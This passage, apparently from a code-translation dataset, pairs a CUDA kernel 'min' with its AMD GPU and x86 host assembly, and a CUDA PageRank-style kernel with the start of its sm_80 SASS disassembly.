v_add_co_ci_u32_e32 v7, vcc_lo, s7, v5, vcc_lo
s_cmp_lg_u32 s2, 0
s_cselect_b32 s12, -1, 0
global_load_b32 v0, v[6:7], off
v_mov_b32_e32 v6, 0
s_cmp_eq_u32 s2, 0
s_cbranch_scc1 .LBB0_3
v_add_co_u32 v4, vcc_lo, s8, v4
v_add_co_ci_u32_e32 v5, vcc_lo, s9, v5, vcc_lo
global_load_b32 v6, v[4:5], off
.LBB0_3:
s_clause 0x1
s_load_b64 s[4:5], s[0:1], 0x0
s_load_b64 s[2:3], s[0:1], 0x10
v_or_b32_e32 v4, 1, v2
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v0, v6, v0
v_cndmask_b32_e64 v8, 0, 1, s12
s_mov_b32 s0, exec_lo
v_ashrrev_i32_e32 v5, 31, v4
s_delay_alu instid0(VALU_DEP_1)
v_cmpx_le_u64_e64 s[10:11], v[4:5]
s_xor_b32 s1, exec_lo, s0
s_cbranch_execz .LBB0_7
v_cmp_lt_i32_e64 s0, 0, v0
v_cmp_ne_u32_e32 vcc_lo, 1, v8
s_delay_alu instid0(VALU_DEP_2)
v_cndmask_b32_e64 v0, 0x7fffffff, v0, s0
s_cbranch_vccnz .LBB0_6
v_lshlrev_b64 v[2:3], 2, v[2:3]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v2, vcc_lo, s4, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s5, v3, vcc_lo
global_load_b32 v2, v[2:3], off
s_waitcnt vmcnt(0)
v_cmp_ne_u32_e32 vcc_lo, 0, v2
v_cndmask_b32_e32 v0, 0x7fffffff, v0, vcc_lo
.LBB0_6:
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[1:2], 2, v[1:2]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v1, vcc_lo, s2, v1
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v2, vcc_lo, s3, v2, vcc_lo
global_store_b32 v[1:2], v0, off
.LBB0_7:
s_and_not1_saveexec_b32 s0, s1
s_cbranch_execz .LBB0_17
v_lshlrev_b64 v[6:7], 2, v[4:5]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v9, vcc_lo, s6, v6
v_add_co_ci_u32_e32 v10, vcc_lo, s7, v7, vcc_lo
v_cmp_ne_u32_e32 vcc_lo, 1, v8
global_load_b32 v9, v[9:10], off
s_cbranch_vccnz .LBB0_10
v_add_co_u32 v6, vcc_lo, s8, v6
v_add_co_ci_u32_e32 v7, vcc_lo, s9, v7, vcc_lo
global_load_b32 v6, v[6:7], off
s_branch .LBB0_11
.LBB0_10:
v_mov_b32_e32 v6, 0
.LBB0_11:
s_waitcnt vmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
v_add_nc_u32_e32 v6, v6, v9
v_cmp_lt_i32_e64 s0, 0, v0
v_cmp_ne_u32_e32 vcc_lo, 1, v8
v_cndmask_b32_e64 v7, 0x7fffffff, v0, s0
s_delay_alu instid0(VALU_DEP_4) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cmp_lt_i32_e64 s0, 0, v6
v_cndmask_b32_e64 v6, 0x7fffffff, v6, s0
s_cbranch_vccnz .LBB0_13
v_lshlrev_b64 v[2:3], 2, v[2:3]
v_lshlrev_b64 v[4:5], 2, v[4:5]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_3)
v_add_co_u32 v2, vcc_lo, s4, v2
v_add_co_ci_u32_e32 v3, vcc_lo, s5, v3, vcc_lo
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_4)
v_add_co_u32 v4, vcc_lo, s4, v4
v_add_co_ci_u32_e32 v5, vcc_lo, s5, v5, vcc_lo
s_clause 0x1
global_load_b32 v0, v[2:3], off
global_load_b32 v2, v[4:5], off
s_waitcnt vmcnt(1)
v_cmp_ne_u32_e32 vcc_lo, 0, v0
v_cndmask_b32_e32 v7, 0x7fffffff, v7, vcc_lo
s_waitcnt vmcnt(0)
v_cmp_ne_u32_e32 vcc_lo, 0, v2
v_cndmask_b32_e32 v6, 0x7fffffff, v6, vcc_lo
.LBB0_13:
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[0:1], 2, v[1:2]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v0, s0, s2, v0
s_delay_alu instid0(VALU_DEP_1)
v_add_co_ci_u32_e64 v1, s0, s3, v1, s0
s_mov_b32 s0, exec_lo
v_cmpx_le_i32_e64 v7, v6
s_xor_b32 s0, exec_lo, s0
s_cbranch_execz .LBB0_15
global_store_b32 v[0:1], v7, off
.LBB0_15:
s_and_not1_saveexec_b32 s0, s0
s_cbranch_execz .LBB0_17
global_store_b32 v[0:1], v6, off
.LBB0_17:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z3minPiS_S_S_mi
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 304
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 11
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z3minPiS_S_S_mi, .Lfunc_end0-_Z3minPiS_S_S_mi
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 24
.size: 8
.value_kind: global_buffer
- .offset: 32
.size: 8
.value_kind: by_value
- .offset: 40
.size: 4
.value_kind: by_value
- .offset: 48
.size: 4
.value_kind: hidden_block_count_x
- .offset: 52
.size: 4
.value_kind: hidden_block_count_y
- .offset: 56
.size: 4
.value_kind: hidden_block_count_z
- .offset: 60
.size: 2
.value_kind: hidden_group_size_x
- .offset: 62
.size: 2
.value_kind: hidden_group_size_y
- .offset: 64
.size: 2
.value_kind: hidden_group_size_z
- .offset: 66
.size: 2
.value_kind: hidden_remainder_x
- .offset: 68
.size: 2
.value_kind: hidden_remainder_y
- .offset: 70
.size: 2
.value_kind: hidden_remainder_z
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 96
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 104
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 112
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 304
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z3minPiS_S_S_mi
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z3minPiS_S_S_mi.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 11
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_0007c799_00000000-6_min.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z30__device_stub__Z3minPiS_S_S_miPiS_S_S_mi
.type _Z30__device_stub__Z3minPiS_S_S_miPiS_S_S_mi, @function
_Z30__device_stub__Z3minPiS_S_S_miPiS_S_S_mi:
.LFB2051:
.cfi_startproc
endbr64
subq $184, %rsp
.cfi_def_cfa_offset 192
movq %rdi, 40(%rsp)
movq %rsi, 32(%rsp)
movq %rdx, 24(%rsp)
movq %rcx, 16(%rsp)
movq %r8, 8(%rsp)
movl %r9d, 4(%rsp)
movq %fs:40, %rax
movq %rax, 168(%rsp)
xorl %eax, %eax
leaq 40(%rsp), %rax
movq %rax, 112(%rsp)
leaq 32(%rsp), %rax
movq %rax, 120(%rsp)
leaq 24(%rsp), %rax
movq %rax, 128(%rsp)
leaq 16(%rsp), %rax
movq %rax, 136(%rsp)
leaq 8(%rsp), %rax
movq %rax, 144(%rsp)
leaq 4(%rsp), %rax
movq %rax, 152(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
movl $1, 72(%rsp)
movl $1, 76(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
leaq 56(%rsp), %rcx
leaq 48(%rsp), %rdx
leaq 76(%rsp), %rsi
leaq 64(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 168(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $184, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 56(%rsp)
.cfi_def_cfa_offset 200
pushq 56(%rsp)
.cfi_def_cfa_offset 208
leaq 128(%rsp), %r9
movq 92(%rsp), %rcx
movl 100(%rsp), %r8d
movq 80(%rsp), %rsi
movl 88(%rsp), %edx
leaq _Z3minPiS_S_S_mi(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 192
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z30__device_stub__Z3minPiS_S_S_miPiS_S_S_mi, .-_Z30__device_stub__Z3minPiS_S_S_miPiS_S_S_mi
.globl _Z3minPiS_S_S_mi
.type _Z3minPiS_S_S_mi, @function
_Z3minPiS_S_S_mi:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z30__device_stub__Z3minPiS_S_S_miPiS_S_S_mi
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z3minPiS_S_S_mi, .-_Z3minPiS_S_S_mi
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z3minPiS_S_S_mi"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z3minPiS_S_S_mi(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "min.hip"
.globl _Z18__device_stub__minPiS_S_S_mi # -- Begin function _Z18__device_stub__minPiS_S_S_mi
.p2align 4, 0x90
.type _Z18__device_stub__minPiS_S_S_mi,@function
_Z18__device_stub__minPiS_S_S_mi: # @_Z18__device_stub__minPiS_S_S_mi
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movq %rdx, 72(%rsp)
movq %rcx, 64(%rsp)
movq %r8, 56(%rsp)
movl %r9d, 4(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 72(%rsp), %rax
movq %rax, 112(%rsp)
leaq 64(%rsp), %rax
movq %rax, 120(%rsp)
leaq 56(%rsp), %rax
movq %rax, 128(%rsp)
leaq 4(%rsp), %rax
movq %rax, 136(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z3minPiS_S_S_mi, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z18__device_stub__minPiS_S_S_mi, .Lfunc_end0-_Z18__device_stub__minPiS_S_S_mi
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z3minPiS_S_S_mi, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z3minPiS_S_S_mi,@object # @_Z3minPiS_S_S_mi
.section .rodata,"a",@progbits
.globl _Z3minPiS_S_S_mi
.p2align 3, 0x0
_Z3minPiS_S_S_mi:
.quad _Z18__device_stub__minPiS_S_S_mi
.size _Z3minPiS_S_S_mi, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z3minPiS_S_S_mi"
.size .L__unnamed_1, 17
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z18__device_stub__minPiS_S_S_mi
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z3minPiS_S_S_mi
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include "includes.h"
__global__ void compute_inv(const int* destination_offsets, const int* source_indices, const float* out_degrees, const int node_count, const float* input, float *output)
{
int dest = blockDim.x*blockIdx.x + threadIdx.x;
if (dest<node_count)
{
int srcStart = destination_offsets[dest];
int srcEnd = destination_offsets[dest + 1];
int in_degree = srcEnd - srcStart;
float rank = 0;
if (in_degree>0)
{
for (int srcIdx = srcStart; srcIdx<srcEnd; ++srcIdx)
{
int src = source_indices[srcIdx];
float contrib = ((input[src] * DECAY) * out_degrees[src]);
rank = rank + contrib;
}
}
output[dest] = rank + (1 - DECAY);
}
} | code for sm_80
Function : _Z11compute_invPKiS0_PKfiS2_Pf
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000e280000002500 */
/*0020*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e240000002100 */
/*0030*/ IMAD R0, R0, c[0x0][0x0], R3 ; /* 0x0000000000007a24 */
/* 0x001fca00078e0203 */
/*0040*/ ISETP.GE.AND P0, PT, R0, c[0x0][0x178], PT ; /* 0x00005e0000007a0c */
/* 0x000fda0003f06270 */
/*0050*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0060*/ HFMA2.MMA R2, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff027435 */
/* 0x000fe200000001ff */
/*0070*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fd20000000a00 */
/*0080*/ IMAD.WIDE R6, R0, R2, c[0x0][0x160] ; /* 0x0000580000067625 */
/* 0x000fca00078e0202 */
/*0090*/ LDG.E R8, [R6.64] ; /* 0x0000000406087981 */
/* 0x000ea8000c1e1900 */
/*00a0*/ LDG.E R3, [R6.64+0x4] ; /* 0x0000040406037981 */
/* 0x000ea2000c1e1900 */
/*00b0*/ BSSY B0, 0x1100 ; /* 0x0000104000007945 */
/* 0x000fe20003800000 */
/*00c0*/ HFMA2.MMA R27, -RZ, RZ, 1.5244140625, -0.0027313232421875 ; /* 0x3e199998ff1b7435 */
/* 0x000fe200000001ff */
/*00d0*/ SHF.R.S32.HI R4, RZ, 0x1f, R0 ; /* 0x0000001fff047819 */
/* 0x000fe40000011400 */
/*00e0*/ ISETP.GT.AND P0, PT, R3, R8, PT ; /* 0x000000080300720c */
/* 0x004fda0003f04270 */
/*00f0*/ @!P0 BRA 0x10f0 ; /* 0x00000ff000008947 */
/* 0x000fea0003800000 */
/*0100*/ IADD3 R5, -R8, R3, RZ ; /* 0x0000000308057210 */
/* 0x000fe20007ffe1ff */
/*0110*/ BSSY B1, 0x2c0 ; /* 0x000001a000017945 */
/* 0x000fe20003800000 */
/*0120*/ LOP3.LUT R6, RZ, R8, RZ, 0x33, !PT ; /* 0x00000008ff067212 */
/* 0x000fe400078e33ff */
/*0130*/ LOP3.LUT P1, R5, R5, 0x3, RZ, 0xc0, !PT ; /* 0x0000000305057812 */
/* 0x000fe4000782c0ff */
/*0140*/ IADD3 R6, R3, R6, RZ ; /* 0x0000000603067210 */
/* 0x000fe40007ffe0ff */
/*0150*/ MOV R27, RZ ; /* 0x000000ff001b7202 */
/* 0x000fe40000000f00 */
/*0160*/ ISETP.GE.U32.AND P0, PT, R6, 0x3, PT ; /* 0x000000030600780c */
/* 0x000fc40003f06070 */
/*0170*/ MOV R6, R8 ; /* 0x0000000800067202 */
/* 0x000fca0000000f00 */
/*0180*/ @!P1 BRA 0x2b0 ; /* 0x0000012000009947 */
/* 0x000fea0003800000 */
/*0190*/ IMAD.WIDE R6, R8, R2, c[0x0][0x168] ; /* 0x00005a0008067625 */
/* 0x000fe200078e0202 */
/*01a0*/ HFMA2.MMA R27, -RZ, RZ, 0, 0 ; /* 0x00000000ff1b7435 */
/* 0x000fc800000001ff */
/*01b0*/ MOV R12, R6 ; /* 0x00000006000c7202 */
/* 0x000fe40000000f00 */
/*01c0*/ MOV R13, R7 ; /* 0x00000007000d7202 */
/* 0x000fe40000000f00 */
/*01d0*/ MOV R6, R8 ; /* 0x0000000800067202 */
/* 0x000fc60000000f00 */
/*01e0*/ LDG.E R11, [R12.64] ; /* 0x000000040c0b7981 */
/* 0x000ea2000c1e1900 */
/*01f0*/ IADD3 R5, R5, -0x1, RZ ; /* 0xffffffff05057810 */
/* 0x000fc80007ffe0ff */
/*0200*/ ISETP.NE.AND P1, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fe20003f25270 */
/*0210*/ IMAD.WIDE R8, R11, R2, c[0x0][0x180] ; /* 0x000060000b087625 */
/* 0x004fc800078e0202 */
/*0220*/ IMAD.WIDE R10, R11, R2, c[0x0][0x170] ; /* 0x00005c000b0a7625 */
/* 0x000fe400078e0202 */
/*0230*/ LDG.E R8, [R8.64] ; /* 0x0000000408087981 */
/* 0x000ea8000c1e1900 */
/*0240*/ LDG.E R10, [R10.64] ; /* 0x000000040a0a7981 */
/* 0x000ee2000c1e1900 */
/*0250*/ IADD3 R12, P2, R12, 0x4, RZ ; /* 0x000000040c0c7810 */
/* 0x000fe40007f5e0ff */
/*0260*/ IADD3 R6, R6, 0x1, RZ ; /* 0x0000000106067810 */
/* 0x000fe40007ffe0ff */
/*0270*/ IADD3.X R13, RZ, R13, RZ, P2, !PT ; /* 0x0000000dff0d7210 */
/* 0x000fe200017fe4ff */
/*0280*/ FMUL R14, R8, 0.85000002384185791016 ; /* 0x3f59999a080e7820 */
/* 0x004fc80000400000 */
/*0290*/ FFMA R27, R14, R10, R27 ; /* 0x0000000a0e1b7223 */
/* 0x008fe2000000001b */
/*02a0*/ @P1 BRA 0x1e0 ; /* 0xffffff3000001947 */
/* 0x000fea000383ffff */
/*02b0*/ BSYNC B1 ; /* 0x0000000000017941 */
/* 0x000fea0003800000 */
/*02c0*/ BSSY B1, 0x10e0 ; /* 0x00000e1000017945 */
/* 0x000fe20003800000 */
/*02d0*/ @!P0 BRA 0x10d0 ; /* 0x00000df000008947 */
/* 0x000fea0003800000 */
/*02e0*/ IADD3 R5, R3, -R6, RZ ; /* 0x8000000603057210 */
/* 0x000fe20007ffe0ff */
/*02f0*/ IMAD.WIDE R8, R6, R2, c[0x0][0x168] ; /* 0x00005a0006087625 */
/* 0x000fe200078e0202 */
/*0300*/ BSSY B2, 0xae0 ; /* 0x000007d000027945 */
/* 0x000fe40003800000 */
/*0310*/ ISETP.GT.AND P1, PT, R5, 0xc, PT ; /* 0x0000000c0500780c */
/* 0x000fe40003f24270 */
/*0320*/ IADD3 R12, P0, R8, 0x8, RZ ; /* 0x00000008080c7810 */
/* 0x000fc80007f1e0ff */
/*0330*/ IADD3.X R13, RZ, R9, RZ, P0, !PT ; /* 0x00000009ff0d7210 */
/* 0x000fe400007fe4ff */
/*0340*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x80, 0x0 ; /* 0x000000000000781c */
/* 0x000fca0003f0f070 */
/*0350*/ @!P1 BRA 0xad0 ; /* 0x0000077000009947 */
/* 0x000fea0003800000 */
/*0360*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0370*/ IADD3 R5, R3, -0xc, RZ ; /* 0xfffffff403057810 */
/* 0x000fe40007ffe0ff */
/*0380*/ LDG.E R11, [R12.64+-0x8] ; /* 0xfffff8040c0b7981 */
/* 0x000ea8000c1e1900 */
/*0390*/ LDG.E R9, [R12.64+-0x4] ; /* 0xfffffc040c097981 */
/* 0x000ee8000c1e1900 */
/*03a0*/ LDG.E R21, [R12.64] ; /* 0x000000040c157981 */
/* 0x000f28000c1e1900 */
/*03b0*/ LDG.E R7, [R12.64+0x4] ; /* 0x000004040c077981 */
/* 0x000f68000c1e1900 */
/*03c0*/ LDG.E R16, [R12.64+0x8] ; /* 0x000008040c107981 */
/* 0x000f28000c1e1900 */
/*03d0*/ LDG.E R14, [R12.64+0xc] ; /* 0x00000c040c0e7981 */
/* 0x000f28000c1e1900 */
/*03e0*/ LDG.E R20, [R12.64+0x10] ; /* 0x000010040c147981 */
/* 0x000f68000c1e1900 */
/*03f0*/ LDG.E R22, [R12.64+0x14] ; /* 0x000014040c167981 */
/* 0x000f62000c1e1900 */
/*0400*/ IMAD.WIDE R28, R11, R2, c[0x0][0x180] ; /* 0x000060000b1c7625 */
/* 0x004fc800078e0202 */
/*0410*/ IMAD.WIDE R10, R11, R2.reuse, c[0x0][0x170] ; /* 0x00005c000b0a7625 */
/* 0x080fe200078e0202 */
/*0420*/ LDG.E R17, [R28.64] ; /* 0x000000041c117981 */
/* 0x000ea8000c1e1900 */
/*0430*/ LDG.E R15, [R10.64] ; /* 0x000000040a0f7981 */
/* 0x0008a2000c1e1900 */
/*0440*/ IMAD.WIDE R24, R9, R2, c[0x0][0x180] ; /* 0x0000600009187625 */
/* 0x008fc800078e0202 */
/*0450*/ IMAD.WIDE R8, R9, R2.reuse, c[0x0][0x170] ; /* 0x00005c0009087625 */
/* 0x080fe400078e0202 */
/*0460*/ LDG.E R24, [R24.64] ; /* 0x0000000418187981 */
/* 0x0000e8000c1e1900 */
/*0470*/ LDG.E R19, [R8.64] ; /* 0x0000000408137981 */
/* 0x0002e2000c1e1900 */
/*0480*/ IMAD.WIDE R10, R21, R2, c[0x0][0x180] ; /* 0x00006000150a7625 */
/* 0x010fca00078e0202 */
/*0490*/ LDG.E R18, [R10.64] ; /* 0x000000040a127981 */
/* 0x000b22000c1e1900 */
/*04a0*/ IMAD.WIDE R8, R21, R2, c[0x0][0x170] ; /* 0x00005c0015087625 */
/* 0x002fca00078e0202 */
/*04b0*/ LDG.E R26, [R8.64] ; /* 0x00000004081a7981 */
/* 0x000322000c1e1900 */
/*04c0*/ IMAD.WIDE R10, R7, R2, c[0x0][0x180] ; /* 0x00006000070a7625 */
/* 0x020fc800078e0202 */
/*04d0*/ IMAD.WIDE R8, R7, R2.reuse, c[0x0][0x170] ; /* 0x00005c0007087625 */
/* 0x082fe400078e0202 */
